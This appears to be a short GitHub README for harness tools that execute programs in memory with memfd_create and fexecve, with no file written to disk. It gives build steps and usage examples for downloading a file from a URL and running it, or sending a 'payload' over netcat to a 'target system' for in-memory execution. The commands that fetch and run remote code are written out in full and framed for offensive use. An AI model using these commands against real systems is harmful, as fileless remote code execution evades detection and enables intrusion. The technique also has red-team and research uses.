memfd_create/fexecve harnesses

July 21, 2019 ยท View on GitHub

These exceute programs in memory. The programs can be delivered via stdin or from an URL.

Building

This has only been tested on Ubuntu 18.04.

sudo apt install libcurl4-openssl-dev
make

From URL

This will download file from host, and execute it with args.

./fexecve-from-url http://host/file args

Using netcat (method1)

This connects to host on port to receive the payload.

  • On system serving the payload:
cat file | nc -lp port
  • On target system:
nc host port | ./fexecve-from-stdin args

Using netcat (method2)

This listens for incoming connections on port 4444 to receive the payload.

  • On target system:
nc -lp 4444 | ./fexecve-from-stdin args
  • Send a payload:
cat file | nc target 4444